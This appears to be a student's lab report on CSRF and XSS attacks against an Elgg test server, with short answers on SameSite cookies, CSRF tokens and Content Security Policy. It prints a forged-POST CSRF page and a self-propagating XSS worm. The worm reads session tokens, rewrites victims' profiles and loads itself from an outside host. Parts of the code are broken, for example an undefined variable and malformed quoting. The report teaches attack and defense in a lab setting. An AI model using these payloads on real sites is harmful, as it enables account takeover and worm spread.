

Section 1

40 points – 5 points each.

1.a) Samy's website/webpage URL :

_____ <http://www.bestbankerattacker.com> _____

b) Code inside Samy's webpage (only outline provided):

```
<html>
```

```
<body> 
```

```
</body>
```

```
</html>
```

c) Message that Samy must send to Bob (assume Bob has an active session on the bank site):

"Hi Bob, checkout this funny video

_____ <http://www.bestbankerattacker.com> _____

_____ .

Hilarious stuff, if this link doesn't work I'll send you another one. Let me know. "

2.

```
<html><body>
```

```
<h1> This page forges an HTTP POST request.</h1>
```

```
<script type="text/javascript">
```

```
function forge_post()
```

```
{
```

```
var fields;
```

```
fields = "<input type='hidden' name='name' value='user'>";
```

```
fields += "<input type='hidden' name='accesslevel [description]' value='8'>";
```

```
fields += "<input type='hidden' name='pageID' value='5'>";
```

```
Var p= document.createElement("form")
```

```
p.action="http://www.example.com/delete.php";
```

```
p.innerHTML= "fields"
```

```
document.body.appendChild(p);
```

```
p.submit();
```

```
}
```

```
window.onload= function(){ forge_post(); }  
</script>  
</body>  
</html>
```

3. The differences between CSRF and XSS attacks are CSRF focus on tricking authenticated users to perform unintended action without their consent while XSS attacks focus on inject and running malicious Javascript within the user's browser.

4. Block of code of 1,4 and 5 will be executed based on the CSP and the button element will be executed when hello is clicked.

5. Same site cookies are special types of cookies which are set by the server to be attached within the same site. Cookies with this kind of attributes only sent along with send it request in the same origin which if an attacker tries to trick a user to send a request, the browser will mitigate the risk as it doesn't include cross site request.


6. Secret token is a random secret value that the server embed inside a web page. When a page initiates a request, the secret value is attached with the request and the server will verify if the value matches with the expected value during that session. This prevents an attacker from forging a request due to the same origin policy where the attacker can't guess this secret token.

7. Yes and no at the same time. There are several websites which rely on cross site requests to verify credentials to log in. If cookies were all blocked, the authentication will never work and it will affect the user experience as well as the functionality of the website.


8. It depends on which XSS attacks the secret token trying to prevent it. In most cases, reflected XSS attacks will be prevented by placing a secret token in the vulnerable function which the server will verify the token in order for the request to be processed. But for the stored XSS attack, a secret token is not enough and the vulnerabilities will be exploited. Attacker will execute the malicious code to bypass CSRF token protection when user try to visit the page

Task 1

- a) In the CSRF attack, we need to get Alice user ID. The action we need to do is to login Alice account and observe the HTTP live header information.



As we observe the HTTP live header, the addfriend section shows the user id of Alice and now we know that Alice user id is 56. After that, we open the editprofile.html and edit the parameter



```
1 <html>
2 <body>
3 <h1>This page forges an HTTP POST request.</h1>
4 <script type="text/javascript">
5
6 function forge_post()
7 {
8     var fields;
9
10    // The following are form entries need to be filled out by attackers.
11    // The entries are made hidden, so the victim won't be able to see them.
12    fields += "<input type='hidden' name='name' value='Alice'>";
13    fields += "<input type='hidden' name='briefdescription' value='CSCI 157'>";
14    fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
15    fields += "<input type='hidden' name='guid' value='56'>";
16
17    // Create a <form> element.
18    var p = document.createElement("form");
19
20    // Construct the form
21    p.action = "http://www.seed-server.com/action/profile/edit";
22    p.innerHTML = fields;
23    p.method = "post";
24
25    // Append the form to the current page.
26    document.body.appendChild(p);
27
28    // Submit the form
29    p.submit();
30 }
```

The parameters we are going to change are the name, brief description and guid. After that, we login into Samy account and try to trick Alice by clicking a link to change her profile. We compose a message and insert a link(<http://www.attacker32.com/editprofile.html>) to it and send it to Alice.

[Alice](#) › Messages

Interesting link



From [Samy](#) 5 days ago

click [here!](#)

Elgg For SEED Labs

[Blogs](#)

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


Account

Alice

Edit avatar

Edit profile



Add widgets

Blogs

Bookmarks

Files

Pages

Wire post

Right now, Alice's profile doesn't have any description. Next step, we started the edit profile attack. After we clicked the message that Samy, we saw CSCI 157 appear in Alice's profile. The attack was successful.

Alice



Brief description
CSCI 157

Blogs

Bookmarks


Files

Pages


Wire post

- b) When we click on link A and B, we get different kinds of requests and the result is shown below.


Link A: Sending get request(link)




Link A:sending get request(form)




Link A: Sending post request(form)




Link B: Sending get request(link)



Link B: Sending get request(form)



Link B: Sending post request(lform)



The SameSite attribute serves to prevent browsers from sending specific cookies along with cross-site requests, aiming to reduce the risk of information leakage across origins. It also offers a degree of defense against CSRF attacks. This attribute can take one of three values: "none," "lax," or "strict." When set to "strict," the browser refrains from sending the cookie to the target site in any cross-site browsing context, including when the user follows a regular link. For instance, on a social media platform similar to Twitter, if a user who is logged in clicks on a link to view a private tweet shared on an external forum or email, the session cookie will not be transmitted, thereby preventing access to the private tweet. Alternately, for a financial institution's website, opting for the "strict" value would be prudent, as it ensures that no transactional pages are accessible from external sources. The "lax" value strikes a balance between security and usability for websites that wish to maintain a user's logged-in session after arriving from an external link. In this context, when a user navigates from an external website through a regular link, the session cookie is allowed. However, it is blocked in requests prone to CSRF, such as those using the POST method. On the other hand, opting for the "none" value provides no protection. The browser will attach the cookies in all cross-site browsing contexts without any restrictions.

Task 2

a) Worm code

```
window.onload = function() {  
    alert("successful");  
  
    // Define the payload: script tag pointing to external  
    // JavaScript file  
    var wormCode = encodeURIComponent(  
        "<script type=\"text/javascript\" " +  
        "id = \"worm\" " +  
        "src=\"http://www.example60.com/xssworm.js\"> +  
        "</\" + \"script>\"  
    );  
  
    // Construct the profile description with the payload  
    var desc = "&description=Samy is my hero" + wormCode;  
    desc += "&accesslevel[description]=2"; // Set the access  
    // level for the description  
  
    // Get the necessary user data  
    var name = "&name=" + elgg.session.user.name;  
    var guid = "&guid=" + elgg.session.user.guid;  
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;  
    var token = "&__elgg_token=" +  
    elgg.security.token.__elgg_token;  
  
    // Send the HTTP POST request to edit the profile  
    var sendurl =  
    "http://www.seed-server.com/action/profile/edit";  
    var content = token + ts + name + desc + guid;  
  
    // Create and send AJAX request to modify profile  
    var samyGuid = 59; // GUID of the user to send the friend  
    // request to  
    if (elgg.session.user.guid != samyGuid) {
```

```


var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.seed-server.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);

// Construct the HTTP request to add Samy as a friend
sendurl =
"http://www.seed-server.com/action/friends/add?friend=" +
samyGuid + token + ts;
Ajax = new XMLHttpRequest();
Ajax.open("GET", friendRequestUrl, true);
Ajax.setRequestHeader("Host", "www.seed-server.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send();
}
}

</script>

```

First, I enter the CSP container and move the worm code into it.



The image shows a terminal window with three tabs. The active tab is 'seed@VM: ~/.../XSS'. The terminal output shows a series of commands and their results. The first three lines show the command 'docker cp xssworm.js 047d4b180ec1:/var/www/csp/' being executed, and the output is '02/22/24] seed@VM: ~/.../XSS\$ docker cp xssworm.js 047d4b180ec1:/var/www/csp/'. The next three lines show the same command being executed again, and the output is '02/22/24] seed@VM: ~/.../XSS\$ docker cp xssworm.js 047d4b180ec1:/var/www/csp/'.

```

02/22/24] seed@VM: ~/.../XSS$ docker cp xssworm.js 047d4b180ec1:/var/www/csp/
02/22/24] seed@VM: ~/.../XSS$ docker cp xssworm.js 047d4b180ec1:/var/www/csp/
02/22/24] seed@VM: ~/.../XSS$ docker cp xssworm.js 047d4b180ec1:/var/www/csp/
.
02/22/24] seed@VM: ~/.../XSS$ docker cp xssworm.js 047d4b180ec1:/var/www/csp/
02/22/24] seed@VM: ~/.../XSS$ docker cp xssworm.js 047d4b180ec1:/var/www/csp/
02/22/24] seed@VM: ~/.../XSS$ docker cp xssworm.js 047d4b180ec1:/var/www/csp/
02/22/24] seed@VM: ~/.../XSS$ docker cp xssworm.js 047d4b180ec1:/var/www/csp/

```

```
[02/22/24]seed@VM:~/.../XSS$ sudo nano /etc/hosts
[02/22/24]seed@VM:~/.../XSS$ dockps
af0b63e08752  mysql-10.9.0.6
047d4b180ec1  elgg-10.9.0.5
[02/22/24]seed@VM:~/.../XSS$ docksh 04
root@047d4b180ec1:/# ls var/www/
csp  elgg  html
root@047d4b180ec1:/# cd var/www/csp
root@047d4b180ec1:/var/www/csp# ls
index.html  script_area4.js  script_area6.js
phpindex.php  script_area5.js  xssworm.js
root@047d4b180ec1:/var/www/csp# cat xssworm.js
/*<script type="text/javascript" src="http://www.example60.com/xssworm.js"></scr
ipt>
*/

window.onload = function() {
    alert("attack successful");

    // Define the payload: script tag pointing to external JavaScript file
    var wormCode = encodeURIComponent(
        "<script type=\"text/javascript\" " +
        "id = \"worm\" " +
        "src=\"http://www.example60.com/xssworm.js\"> +
```

After editing the worm code, I inject the code into a website called www.example60.com which appears in the hosts file.

```

<script type="text/javascript" src="http://www.example60.com/xssworm.js"></script>
*/

window.onload = function() {
    alert("successful");

    // Define the payload: script tag pointing to external JavaScript file
    var wormCode = encodeURIComponent(
        "<script type='text/javascript' " +
        "id = \"worm\" " +
        "src='http://www.example60.com/xssworm.js'> +
        "</\" + \"script>"
    );

    // Construct the profile description with the payload
    var desc = "&description=Samy is my hero" + wormCode;
    desc += "&accesslevel[description]=2"; // Set the access level for the description

    // Get the necessary user data
    var name = "&name=" + elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&_elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&_elgg_token=" + elgg.security.token.__elgg_token;

    // Send the HTTP POST request to edit the profile
    var sendurl = "http://www.seed-server.com/action/profile/edit";
    var content = token + ts + name + desc + guid;

    // Create and send AJAX request to modify profile
    var samyGuid = 59; // GUID of the user to send the friend request to
    if (elgg.session.user.guid != samyGuid) {
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.seed-server.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);

        // Construct the HTTP request to add Samy as a friend
        sendurl = "http://www.seed-server.com/action/friends/add?friend=" + samyGuid + token + ts;
        Ajax = new XMLHttpRequest();
        Ajax.open("GET", friendRequestUrl, true);
        Ajax.setRequestHeader("Host", "www.seed-server.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send();
    }
}
</script>
```

Edit profile

Display name

Samy

About me

```
<script type="text/javascript" src="http://www.example60.com/xssworm.js"></script>
```

I wrote a script linked with example60 to let the worm trigger when someone clicks on Samy profile.

Alice



About me

Samy is my hero

Blogs

Bookmarks

Files

Pages


Wire post

 **www.seed-server.com**

successful

☐ Don't allow www.seed-server.com to prompt you again

OK



The attack was partially successful and it did self propagate but the little mistake was I couldn't trigger the get request for Alice and Boby to add Samy.

- b) For this task, we need to edit the `apache_csp.conf` file to achieve 5 and 6 with OK.

```
. # Purpose: Setting CSP policies in Apache configuration
. <VirtualHost *:80>
.     DocumentRoot /var/www/csp
.     ServerName www.example32b.com
.     DirectoryIndex index.html
.     Header set Content-Security-Policy " \
.         default-src 'self'; \
.         script-src 'self' *.example60.com \
.         script-src 'self' *.example70.com \
.         "
. </VirtualHost>
```

After that, we double checked the file and made sure it's working.

```
# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
        default-src 'self'; \
        script-src 'self' *.example60.com \
        script-src 'self' *.example70.com \
        "
</VirtualHost>
```



CSP Experiment

1. Inline: Nonce (111-111-111): **Failed**
2. Inline: Nonce (222-222-222): **Failed**
3. Inline: No Nonce: **Failed**
4. From self: **OK**
5. From www.example60.com: **OK**
6. From www.example70.com: **OK**
7. From button click:

After the configuration, we can see that 5 and 6 turn into OK. The configuration was successful.